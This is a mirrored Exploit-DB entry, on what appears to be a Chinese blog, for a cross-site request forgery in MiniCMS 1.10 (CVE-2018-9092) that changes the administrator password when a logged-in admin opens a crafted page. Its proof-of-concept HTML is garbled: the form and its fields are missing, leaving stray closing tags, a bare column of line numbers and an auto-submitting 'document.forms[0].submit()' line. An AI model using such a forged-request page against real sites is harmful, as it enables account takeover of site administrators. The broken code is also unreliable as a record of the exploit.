MiniCMS 1.10 – Cross-Site Request Forgery - 体验盒子

作者： zixian

日期： 2018-03-30

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/44362/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

<--

# Exploit Title:MiniCMS 1.10 CSRF Vulnerability

# Date: 2018-03-28

# Exploit Author: zixian（me@zixian.org、zixian@5ecurity.cn）

# Vendor Homepage: https://github.com/bg5sbk/MiniCMS

# Software Link: https://github.com/bg5sbk/MiniCMS

# Version: 1.10

# CVE : CVE-2018-9092

There is a CSRF vulnerability that can change the administrator account password

After the administrator logged in, open the following page

poc:

-->

<html>

<body>

</form>

document.forms[0].submit();

</script>

</body>

</head>

</html>